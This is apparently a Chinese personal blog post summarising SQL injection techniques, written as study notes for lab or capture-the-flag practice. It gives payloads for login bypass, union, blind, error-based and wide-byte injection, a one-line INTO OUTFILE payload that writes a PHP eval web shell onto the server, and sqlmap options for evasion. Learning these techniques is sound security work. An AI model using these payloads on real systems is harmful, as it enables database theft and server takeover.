我的个人博客

SQL注入总结

返回首页
技术分享 2025-12-20

🔑 万能密码

' or 1=1#

登录语句原理:

SELECT * FROM users WHERE username='$user' AND password='$pass'

🎯 SQL注入方式

注入类型 描述
联合查询注入 通过UNION语句获取数据
报错注入 利用数据库报错信息获取数据
布尔盲注 通过真/假条件推断数据
时间盲注 通过延迟响应推断数据
堆叠注入 执行多条SQL语句
内联注入 将恶意代码注入到正常语句中

🔤 特殊符号

可用于闭合的符号

' " )

可用于注释的符号

-- +     # MySQL注释
#        # MySQL注释  
/*       # 多行注释

可用于替代空格的符号

+        # 加号替代空格
/**/     # 多行注释替代空格
tab      # Tab键替代空格

information_schema.

schemata -- 所有的数据库
tables   -- 所有的表
columns  -- 所有的字段

🔄 SQL注入流程

1. 判断注入点

  • 确定注入点位置
  • 判断注入类型
  • 确定闭合方式

2. 判断字段数

ORDER BY 1,2,3...  # 递增测试直到报错

3. 判断回显点(联合查询)

UNION SELECT 1,2,3  # 确定数据显示位置

4.查询语句

-- 查表名
1,(select table_name from information_schema.tables where table_schema='library'),3,4
-- 查库名
1,(select group_concat(table_name) from information_schema.tables where table_schema='library'),3,4
-- 查字段名
1,(select group_concat(column_name) from information_schema.columns where table_name='flag'),3,4

👁️ 布尔盲注

基于布尔判断的盲注,通过页面的真/假响应获取信息。

逻辑判断

AND  -- 两个条件都为真时返回真
OR   -- 两个条件中有一个为真时返回真  
NOT  -- 取反操作

注入流程

1. 确定注入点

方法: 通过添加 ' 和注释符,观察页面响应变化

2. 判断数据库版本

AND LEFT(VERSION(),1)=5  # 判断版本号第一位是否为5

3. 判断数据库名长度

AND LENGTH(DATABASE())=n  # n为猜测的长度

4. 猜解数据库名称

-- 字符串比较
ASCII(SUBSTR(DATABASE(),1,1))=115  # 's'的ASCII码

-- 字符串截取
SUBSTR(字符串, 起始位置, 截取长度)

💥 报错注入

利用数据库报错信息直接获取数据,比盲注更高效。

注入流程

1. 判断注入类型

测试各种注入方式,确定报错注入可行性

2. 获取数据库名

UPDATEXML(1,CONCAT(0x7e,DATABASE(),0x7e),3)
-- 0x7e = ~ 符号,用于标识数据
-- 注意:XML XPath只显示32字符,需用SUBSTR截取

3. 查询表名

UPDATEXML(1,CONCAT(0x7e,(SELECT GROUP_CONCAT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='security'),0x7e),3)

4. 查询字段名

UPDATEXML(1,CONCAT(0x7e,(SELECT GROUP_CONCAT(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA='security' AND TABLE_NAME='users'),0x7e),3)

🌐 宽字节注入

原理

目标对特殊符号进行转义,添加反斜杠 \(ASCII 92,十六进制 5c)

绕过方法

%df  -- 与反斜杠(5c)组合成中文字符,绕过转义

⚠️ 报错盲注

手动构造错误条件,通过报错响应获取信息。

SELECT IF((条件判断),EXP(5000),0)  -- EXP(5000)构造数值溢出错误
-- 或者使用COT(0)构造除零错误

⏱️ 延时盲注

通过控制响应时间来判断条件是否成立。

IF((条件判断),SLEEP(5),0)  -- 条件成立时延迟5秒
-- 通过观察页面加载时间判断条件真假

📝 写入文件读取注入

将恶意代码写入服务器文件。

UNION SELECT 1,'<?php @eval($_POST[a]);?>' INTO OUTFILE 'C:/www/2.php'-- +

🛠️ SQLMap使用

基础参数

参数 说明
-u 指定目标URL
-p 指定注入参数
--batch 自动化测试,全部默认确认
--dbs 获取所有数据库名
--tables 获取表名
--columns 获取字段名
--dump 获取字段内容

高级参数

# 指定数据库、表、字段
-D database_name -T table_name -C column_name

# 多目标扫描
-m targets.txt

# Cookie绕过登录
--cookie="name=value"

# 随机User-Agent
--random-agent

# POST请求
-r post_request.txt

# 测试等级
--level=1-5

# 绕过脚本
--tamper=space2comment  # 替换连续空格为注释

性能优化

# 修改线程数配置文件:sqlmap\lib\core\settings.py
MAX_NUMBER_OF_THREADS = 10  # 根据需要调整